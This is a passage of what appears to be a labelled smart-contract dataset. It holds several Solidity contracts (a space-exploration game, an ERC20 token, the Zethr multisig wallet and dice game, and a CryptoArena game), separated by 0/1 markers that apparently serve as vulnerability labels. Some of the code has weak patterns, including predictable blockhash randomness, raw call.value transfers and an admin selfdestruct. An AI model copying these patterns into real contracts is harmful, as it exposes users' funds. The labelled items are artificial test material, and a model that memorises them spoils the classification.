require(ethernautsStorage.isCategory(_sectorTokenId, uint8(AssetCategory.Sector)));
require(ethernautsStorage.isState(_shipTokenId, uint8(AssetState.Available)));
require(!isExploring(_shipTokenId));
require(msg.sender == ethernautsStorage.ownerOf(_shipTokenId));
address sectorOwner = ethernautsStorage.ownerOf(_sectorTokenId);
require(sectorOwner != address(0));
if (_crewTokenId > 0) {
require(!isExploring(_crewTokenId));
require(ethernautsStorage.isCategory(_crewTokenId, uint8(AssetCategory.CrewMember)));
require(msg.sender == ethernautsStorage.ownerOf(_crewTokenId));
}
tokenIndexToExplore[_shipTokenId] = explorers.push(_shipTokenId) - 1;
tokenIndexToSector[_shipTokenId] = _sectorTokenId;
uint8[STATS_SIZE] memory _shipStats = ethernautsStorage.getStats(_shipTokenId);
uint8[STATS_SIZE] memory _sectorStats = ethernautsStorage.getStats(_sectorTokenId);
if (_crewTokenId > 0) {
exploreIndexToCrew[tokenIndexToExplore[_shipTokenId]] = _crewTokenId;
missions[_crewTokenId]++;
uint8[STATS_SIZE] memory _crewStats = ethernautsStorage.getStats(_crewTokenId);
_shipStats[uint256(ShipStats.Range)] += _crewStats[uint256(ShipStats.Range)];
_shipStats[uint256(ShipStats.Speed)] += _crewStats[uint256(ShipStats.Speed)];
if (_shipStats[uint256(ShipStats.Range)] > STATS_CAPOUT) {
_shipStats[uint256(ShipStats.Range)] = STATS_CAPOUT;
}
if (_shipStats[uint256(ShipStats.Speed)] > STATS_CAPOUT) {
_shipStats[uint256(ShipStats.Speed)] = STATS_CAPOUT;
}
}
uint256 time = uint256(_explorationTime(
_shipStats[uint256(ShipStats.Range)],
_shipStats[uint256(ShipStats.Speed)],
_sectorStats[uint256(SectorStats.Size)]
));
time *= 60;
uint64 _cooldownEndBlock = uint64((time/secondsPerBlock) + block.number);
ethernautsStorage.setAssetCooldown(_shipTokenId, now + time, _cooldownEndBlock);
if (_crewTokenId > 0) {
ethernautsStorage.setAssetCooldown(_crewTokenId, now + time, _cooldownEndBlock);
}
uint256 feeExcess = SafeMath.sub(msg.value, sectorToOwnerCut[_sectorTokenId]);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(msg.value, percentageCut), 100)) - sectorToOracleFee[_sectorTokenId];
Explore(_shipTokenId, _sectorTokenId, _crewTokenId, now + time);
oracleAddress.transfer(sectorToOracleFee[_sectorTokenId]);
sectorOwner.transfer(payment);
msg.sender.transfer(feeExcess);
}
function explorationResults(
uint256 _shipTokenId,
uint256 _sectorTokenId,
uint16[10] _IDs,
uint8[10] _attributes,
uint8[STATS_SIZE][10] _stats
)
external onlyOracle
{
uint256 cooldown;
uint64 cooldownEndBlock;
uint256 builtBy;
(,,,,,cooldownEndBlock, cooldown, builtBy) = ethernautsStorage.assets(_shipTokenId);
address owner = ethernautsStorage.ownerOf(_shipTokenId);
require(owner != address(0));
uint256 i = 0;
for (i = 0; i < 10 && _IDs[i] > 0; i++) {
_buildAsset(
_sectorTokenId,
owner,
0,
_IDs[i],
uint8(AssetCategory.Object),
uint8(_attributes[i]),
_stats[i],
cooldown,
cooldownEndBlock
);
}
require(i > 0);
delete explorers[tokenIndexToExplore[_shipTokenId]];
delete tokenIndexToSector[_shipTokenId];
Result(_shipTokenId, _sectorTokenId);
}
function _buildAsset(
uint256 _creatorTokenID,
address _owner,
uint256 _price,
uint16 _assetID,
uint8 _category,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint256 _cooldown,
uint64 _cooldownEndBlock
)
private returns (uint256)
{
uint256 tokenID = ethernautsStorage.createAsset(
_creatorTokenID,
_owner,
_price,
_assetID,
_category,
uint8(AssetState.Available),
_attributes,
_stats,
_cooldown,
_cooldownEndBlock
);
Build(
_owner,
tokenID,
_assetID,
_price
);
return tokenID;
}
function _explorationTime(
uint8 _shipRange,
uint8 _shipSpeed,
uint8 _sectorSize
) private view returns (int256) {
int256 minToExplore = 0;
minToExplore = SafeMath.min(_shipSpeed, SPEED_STAT_MAX) - 1;
minToExplore = -72 * minToExplore;
minToExplore += MAX_TIME_EXPLORE;
uint256 minRange = uint256(SafeMath.min(_shipRange, RANGE_STAT_MAX));
uint256 scaledRange = uint256(RANGE_STAT_MAX * RANGE_SCALE);
int256 minExplore = (minToExplore - MIN_TIME_EXPLORE);
minToExplore -= fraction(minExplore, int256(minRange), int256(scaledRange));
minToExplore += fraction(minToExplore, int256(_sectorSize) - int256(10), 10);
minToExplore = SafeMath.max(minToExplore, MIN_TIME_EXPLORE);
return minToExplore;
}
function fraction(int256 _subject, int256 _numerator, int256 _denominator)
private pure returns (int256) {
int256 division = _subject * _numerator - _subject * _denominator;
int256 total = _subject * _denominator + division;
return total / _denominator;
}
function setSecondsPerBlock(uint256 _secs) external onlyCLevel {
require(_secs > 0);
secondsPerBlock = _secs;
}
} | 0 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply() public constant returns (uint supply);
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
using SafeMath for uint256;
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
function totalSupply() public constant returns (uint supply) {
return totalSupply;
}
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value);
require(allowance >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
}
Transfer(_from, _to, _value);
return true;
}
}
contract Lend0xDefiToken is UnboundedRegularToken {
uint8 constant public decimals = 18;
string constant public name = "Lend0xDefiToken";
string constant public symbol = "LDF";
function Lend0xDefiToken() public {
totalSupply = 40*10**26;
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
library ZethrTierLibrary {
uint constant internal magnitude = 2 ** 64;
function getTier(uint divRate) internal pure returns (uint8) {
uint actualDiv = divRate / magnitude;
if (actualDiv >= 30) {
return 6;
} else if (actualDiv >= 25) {
return 5;
} else if (actualDiv >= 20) {
return 4;
} else if (actualDiv >= 15) {
return 3;
} else if (actualDiv >= 10) {
return 2;
} else if (actualDiv >= 5) {
return 1;
} else if (actualDiv >= 2) {
return 0;
} else {
revert();
}
}
function getDivRate(uint _tier)
internal pure
returns (uint8)
{
if (_tier == 0) {
return 2;
} else if (_tier == 1) {
return 5;
} else if (_tier == 2) {
return 10;
} else if (_tier == 3) {
return 15;
} else if (_tier == 4) {
return 20;
} else if (_tier == 5) {
return 25;
} else if (_tier == 6) {
return 33;
} else {
revert();
}
}
}
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ZethrMultiSigWallet is ERC223Receiving {
using SafeMath for uint;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event BankrollInvest(uint amountReceived);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
bool internal reEntered = false;
uint constant public MAX_OWNER_COUNT = 15;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
struct TKN {
address sender;
uint value;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (isOwner[caller])
_;
else
revert();
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function()
public
payable
{
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
validRequirement(owners.length, required)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed || executed && transactions[i].executed) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function tokenFallback(address , uint , bytes )
public
returns (bool)
{
return true;
}
}
contract ZethrTokenBankrollInterface is ERC223Receiving {
uint public jackpotBalance;
function getMaxProfit(address) public view returns (uint);
function gameTokenResolution(uint _toWinnerAmount, address _winnerAddress, uint _toJackpotAmount, address _jackpotAddress, uint _originalBetSize) external;
function payJackpotToWinner(address _winnerAddress, uint payoutDivisor) public;
}
contract ZethrBankrollControllerInterface is ERC223Receiving {
address public jackpotAddress;
ZethrTokenBankrollInterface[7] public tokenBankrolls;
ZethrMultiSigWallet public multiSigWallet;
mapping(address => bool) public validGameAddresses;
function gamePayoutResolver(address _resolver, uint _tokenAmount) public;
function isTokenBankroll(address _address) public view returns (bool);
function getTokenBankrollAddressFromTier(uint8 _tier) public view returns (address);
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ZethrGame {
using SafeMath for uint;
using SafeMath for uint56;
event Result (address player, uint amountWagered, int amountOffset);
event Wager (address player, uint amount, bytes data);
address[] pendingBetsQueue;
uint queueHead = 0;
uint queueTail = 0;
mapping(address => BetBase) bets;
struct BetBase {
uint56 tokenValue;
uint48 blockNumber;
uint8 tier;
}
mapping(address => uint) pendingBetsMapping;
ZethrBankrollControllerInterface controller;
bool paused;
uint minBet = 1e18;
uint resolverPercentage;
string gameName;
constructor (address _controllerAddress, uint _resolverPercentage, string _name) public {
controller = ZethrBankrollControllerInterface(_controllerAddress);
resolverPercentage = _resolverPercentage;
gameName = _name;
}
function getMaxProfit()
public view
returns (uint)
{
return ZethrTokenBankrollInterface(msg.sender).getMaxProfit(address(this));
}
function ownerPauseGame()
public
ownerOnly
{
paused = true;
}
function ownerResumeGame()
public
ownerOnly
{
paused = false;
}
function ownerSetResolverPercentage(uint _percentage)
public
ownerOnly
{
require(_percentage <= 1000000);
resolverPercentage = _percentage;
}
function ownerSetControllerAddress(address _controllerAddress)
public
ownerOnly
{
controller = ZethrBankrollControllerInterface(_controllerAddress);
}
function ownerSetGameName(string _name)
ownerOnly
public
{
gameName = _name;
}
function getGameName()
public view
returns (string)
{
return gameName;
}
function resolveExpiredBets(uint _numToResolve)
public
returns (uint tokensEarned_, uint queueHead_)
{
uint mQueue = queueHead;
uint head;
uint tail = (mQueue + _numToResolve) > pendingBetsQueue.length ? pendingBetsQueue.length : (mQueue + _numToResolve);
uint tokensEarned = 0;
for (head = mQueue; head < tail; head++) {
if (pendingBetsQueue[head] == address(0x0)) {
continue;
}
if (bets[pendingBetsQueue[head]].blockNumber != 0 && block.number > 256 + bets[pendingBetsQueue[head]].blockNumber) {
int sum = - finishBetFrom(pendingBetsQueue[head]);
if (sum > 0) {
tokensEarned += (uint(sum).mul(resolverPercentage)).div(1000000);
}
} else {
break;
}
}
queueHead = head;
if (tokensEarned >= 1e14) {
controller.gamePayoutResolver(msg.sender, tokensEarned);
}
return (tokensEarned, head);
}
function finishBet()
public
hasNotBetThisBlock(msg.sender)
returns (int)
{
return finishBetFrom(msg.sender);
}
function maxRandom(uint _blockn, address _entropy, uint _index)
private view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(_blockn),
_entropy,
_index
)));
}
function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index)
internal view
returns (uint256 randomNumber)
{
return maxRandom(_blockn, _entropy, _index) % _upper;
}
modifier hasNotBetThisBlock(address _sender)
{
require(bets[_sender].blockNumber != block.number);
_;
}
modifier bankrollOnly {
require(controller.isTokenBankroll(msg.sender));
_;
}
modifier isNotPaused {
require(!paused);
_;
}
modifier betIsValid(uint _betSize, uint _tier, bytes _data) {
uint divRate = ZethrTierLibrary.getDivRate(_tier);
require(isBetValid(_betSize, divRate, _data));
_;
}
modifier ownerOnly()
{
require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender));
_;
}
function execute(address _player, uint _tokenCount, uint _divRate, bytes _data) public;
function finishBetFrom(address _playerAddress) internal returns (int);
function isBetValid(uint _tokenCount, uint _divRate, bytes _data) public view returns (bool);
}
contract ZethrDice is ZethrGame {
struct Bet {
uint56 tokenValue;
uint48 blockNumber;
uint8 tier;
uint8 rollUnder;
uint8 numRolls;
}
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 100;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
uint constant public houseEdge = 990;
uint constant public minBet = 1e18;
constructor (address _controllerAddress, uint _resolverPercentage, string _name)
ZethrGame(_controllerAddress, _resolverPercentage, _name)
public
{
}
function getLastRollOutput(address _playerAddress)
public view
returns (uint winAmount, uint lossAmount, uint[] memory output)
{
Bet storage playerBetInStorage = getBet(_playerAddress);
Bet memory playerBet = playerBetInStorage;
require(playerBet.blockNumber != 0);
(winAmount, lossAmount, output) = getRollOutput(playerBet.blockNumber, playerBet.rollUnder, playerBet.numRolls, playerBet.tokenValue.mul(1e14), _playerAddress);
return (winAmount, lossAmount, output);
}
event RollResult(
uint _blockNumber,
address _target,
uint _rollUnder,
uint _numRolls,
uint _tokenValue,
uint _winAmount,
uint _lossAmount,
uint[] _output
);
function getRollOutput(uint _blockNumber, uint8 _rollUnder, uint8 _numRolls, uint _tokenValue, address _target)
public
returns (uint winAmount, uint lossAmount, uint[] memory output)
{
output = new uint[](_numRolls);
if (block.number - _blockNumber > 255) {
lossAmount = _tokenValue.mul(_numRolls);
} else {
uint profit = calculateProfit(_tokenValue, _rollUnder);
for (uint i = 0; i < _numRolls; i++) {
output[i] = random(100, _blockNumber, _target, i) + 1;
if (output[i] < _rollUnder) {
winAmount += profit + _tokenValue;
} else {
lossAmount += _tokenValue;
}
}
}
emit RollResult(_blockNumber, _target, _rollUnder, _numRolls, _tokenValue, winAmount, lossAmount, output);
return (winAmount, lossAmount, output);
}
function getRollResults(uint _blockNumber, uint8 _rollUnder, uint8 _numRolls, uint _tokenValue, address _target)
public
returns (uint winAmount, uint lossAmount)
{
(winAmount, lossAmount,) = getRollOutput(_blockNumber, _rollUnder, _numRolls, _tokenValue, _target);
}
function calculateProfit(uint _initBet, uint _roll)
internal view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
function getBet(address _playerAddress)
internal view
returns (Bet storage)
{
BetBase storage betBase = bets[_playerAddress];
Bet storage playerBet;
assembly {
let tmp := betBase_slot
swap1
}
return playerBet;
}
function finishBetFrom(address _playerAddress)
internal
returns (int )
{
uint winAmount;
uint lossAmount;
Bet storage playerBetInStorage = getBet(_playerAddress);
Bet memory playerBet = playerBetInStorage;
require(playerBet.blockNumber != 0);
playerBetInStorage.blockNumber = 0;
(winAmount, lossAmount) = getRollResults(playerBet.blockNumber, playerBet.rollUnder, playerBet.numRolls, playerBet.tokenValue.mul(1e14), _playerAddress);
address tokenBankrollAddress = controller.getTokenBankrollAddressFromTier(playerBet.tier);
ZethrTokenBankrollInterface bankroll = ZethrTokenBankrollInterface(tokenBankrollAddress);
bankroll.gameTokenResolution(winAmount, _playerAddress, 0, address(0x0), playerBet.tokenValue.mul(1e14).mul(playerBet.numRolls));
uint index = pendingBetsMapping[_playerAddress];
pendingBetsQueue[index] = address(0x0);
pendingBetsMapping[_playerAddress] = 0;
emit Result(_playerAddress, playerBet.tokenValue.mul(1e14), int(winAmount) - int(lossAmount));
return (int(winAmount) - int(lossAmount));
}
function execute(address _player, uint _tokenCount, uint _tier, bytes _data)
isNotPaused
bankrollOnly
betIsValid(_tokenCount, _tier, _data)
hasNotBetThisBlock(_player)
public
{
Bet storage playerBet = getBet(_player);
if (playerBet.blockNumber != 0) {
finishBetFrom(_player);
}
uint8 rolls = uint8(_data[0]);
uint8 rollUnder = uint8(_data[1]);
playerBet.tokenValue = uint56(_tokenCount.div(rolls).div(1e14));
playerBet.blockNumber = uint48(block.number);
playerBet.tier = uint8(_tier);
playerBet.rollUnder = rollUnder;
playerBet.numRolls = rolls;
pendingBetsQueue.length ++;
pendingBetsQueue[queueTail] = _player;
queueTail++;
pendingBetsMapping[_player] = queueTail - 1;
emit Wager(_player, _tokenCount, _data);
}
function isBetValid(uint _tokenCount, uint , bytes _data)
public view
returns (bool)
{
uint8 rollUnder = uint8(_data[1]);
return (calculateProfit(_tokenCount, rollUnder) < getMaxProfit()
&& _tokenCount >= minBet
&& rollUnder >= minNumber
&& rollUnder <= maxNumber);
}
} | 0 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract CryptoMiningWarInterface {
uint256 public roundNumber;
uint256 public deadline;
function addHashrate( address , uint256 ) external pure {}
function subCrystal( address , uint256 ) external pure {}
function addCrystal( address , uint256 ) external pure {}
function isMiningWarContract() external pure returns(bool);
}
interface CryptoEngineerInterface {
function addVirus(address , uint256 ) external pure;
function subVirus(address , uint256 ) external pure;
function isContractMiniGame() external pure returns( bool );
function isEngineerContract() external pure returns(bool);
function calCurrentVirus(address ) external view returns(uint256 );
function calCurrentCrystals(address ) external pure returns(uint256 );
}
interface CryptoProgramFactoryInterface {
function isContractMiniGame() external pure returns( bool );
function isProgramFactoryContract() external pure returns(bool);
function subPrograms(address , uint256[] ) external;
function getData(address _addr) external pure returns(uint256 , uint256 , uint256[] );
function getProgramsValue() external pure returns(uint256[]);
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns( bool );
function fallback() external payable;
}
interface MemoryArenaInterface {
function setVirusDef(address , uint256 ) external pure;
function setNextTimeAtk(address , uint256 ) external pure;
function setEndTimeUnequalledDef(address , uint256 ) external pure;
function setNextTimeArenaBonus(address , uint256 ) external pure;
function setBonusPoint(address , uint256 ) external pure;
function getData(address _addr) external view returns(uint256 , uint256 , uint256 , uint256 , uint256 );
function isMemoryArenaContract() external pure returns(bool);
}
contract CryptoArena {
using SafeMath for uint256;
address public administrator;
uint256 private VIRUS_NORMAL = 0;
uint256 private HALF_TIME_ATK= 60 * 15;
uint256 private CRTSTAL_MINING_PERIOD = 86400;
uint256 private VIRUS_MINING_PERIOD = 86400;
uint256 private ROUND_TIME_MINING_WAR = 86400 * 7;
uint256 private TIME_DAY = 24 hours;
CryptoMiningWarInterface public MiningWar;
CryptoEngineerInterface public Engineer;
CryptoProgramFactoryInterface public Factory;
MemoryArenaInterface public MemoryArena;
mapping(uint256 => Virus) public viruses;
mapping(address => bool) public miniGames;
mapping(uint256 => uint256) public arenaBonus;
struct Virus {
uint256 atk;
uint256 def;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event Attack(address atkAddress, address defAddress, bool victory, uint256 reward, uint256 virusAtkDead, uint256 virusDefDead, uint256 atk, uint256 def, uint256 round);
event Programs(uint256 programLv1, uint256 programLv2, uint256 programLv3, uint256 programLv4);
event ArenaBonus(address player, uint256 bonus);
constructor() public {
administrator = msg.sender;
setMiningWarInterface(0x65c347702b66ff8f1a28cf9a9768487fbe97765f);
setEngineerInterface(0xb2d6000d4a7fe8b1358d54a9bc21f2badf91d849);
setFactoryInterface(0x3a266f97425cd281c1770b71662fcf4415c29190);
setMemoryArenaInterface(0xb2d39df230a8f349cd9aed7adbe2684dfeb7ac43);
viruses[VIRUS_NORMAL] = Virus(1,1);
initArenaBonus();
}
function initArenaBonus() private
{
arenaBonus[0] = 15000;
arenaBonus[1] = 50000;
arenaBonus[2] = 100000;
arenaBonus[3] = 200000;
arenaBonus[4] = 350000;
arenaBonus[5] = 500000;
arenaBonus[6] = 1500000;
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function isArenaContract() public pure returns(bool)
{
return true;
}
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
function setupMiniGame( uint256 , uint256 ) public pure
{
}
function setArenaBonus(uint256 idx, uint256 _value) public isAdministrator
{
arenaBonus[idx] = _value;
}
function setContractsMiniGame( address _addr ) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface( _addr );
if( MiniGame.isContractMiniGame() == false ) revert();
miniGames[_addr] = true;
}
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
function setMiningWarInterface(address _addr) public isAdministrator
{
CryptoMiningWarInterface miningWarInterface = CryptoMiningWarInterface(_addr);
require(miningWarInterface.isMiningWarContract() == true);
MiningWar = miningWarInterface;
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isEngineerContract() == true);
Engineer = engineerInterface;
}
function setFactoryInterface(address _addr) public isAdministrator
{
CryptoProgramFactoryInterface factoryInterface = CryptoProgramFactoryInterface(_addr);
Factory = factoryInterface;
}
function setMemoryArenaInterface(address _addr) public isAdministrator
{
MemoryArenaInterface memoryArenaInterface = MemoryArenaInterface(_addr);
require(memoryArenaInterface.isMemoryArenaContract() == true);
MemoryArena = memoryArenaInterface;
}
function setVirusDef(address _addr, uint256 _value) public isAdministrator
{
MemoryArena.setVirusDef(_addr, SafeMath.mul(_value, VIRUS_MINING_PERIOD));
}
function setAtkNowForPlayer(address _addr) public onlyContractsMiniGame
{
MemoryArena.setNextTimeAtk(_addr, now);
}
function setPlayerVirusDef(address _addr, uint256 _value) public onlyContractsMiniGame
{
MemoryArena.setVirusDef(_addr, SafeMath.mul(_value, VIRUS_MINING_PERIOD));
}
function addVirusDef(address _addr, uint256 _virus) public
{
require(miniGames[msg.sender] == true || msg.sender == _addr);
Engineer.subVirus(_addr, _virus);
uint256 virusDef;
(virusDef, , , ,) = MemoryArena.getData(_addr);
virusDef += SafeMath.mul(_virus, VIRUS_MINING_PERIOD);
MemoryArena.setVirusDef(_addr, virusDef);
}
function subVirusDef(address _addr, uint256 _virus) public onlyContractsMiniGame
{
_virus = SafeMath.mul(_virus, VIRUS_MINING_PERIOD);
uint256 virusDef;
(virusDef, , , ,) = MemoryArena.getData(_addr);
if (virusDef < _virus) revert();
virusDef -= _virus;
MemoryArena.setVirusDef(_addr, virusDef);
}
function addTimeUnequalledDefence(address _addr, uint256 _value) public onlyContractsMiniGame
{
uint256 endTimeUnequalledDef;
(,,endTimeUnequalledDef,,) = MemoryArena.getData(_addr);
if (endTimeUnequalledDef < now) endTimeUnequalledDef = now;
MemoryArena.setEndTimeUnequalledDef(_addr, SafeMath.add(endTimeUnequalledDef, _value));
}
function setVirusInfo(uint256 _atk, uint256 _def) public isAdministrator
{
Virus storage v = viruses[VIRUS_NORMAL];
v.atk = _atk;
v.def = _def;
}
function attack(address _defAddress, uint256 _virus, uint256[] _programs) public
{
require(validateAttack(msg.sender, _defAddress) == true);
require(_programs.length == 4);
require(validatePrograms(_programs) == true);
Factory.subPrograms(msg.sender, _programs);
MemoryArena.setNextTimeAtk(msg.sender, now + HALF_TIME_ATK);
uint256 virusDef;
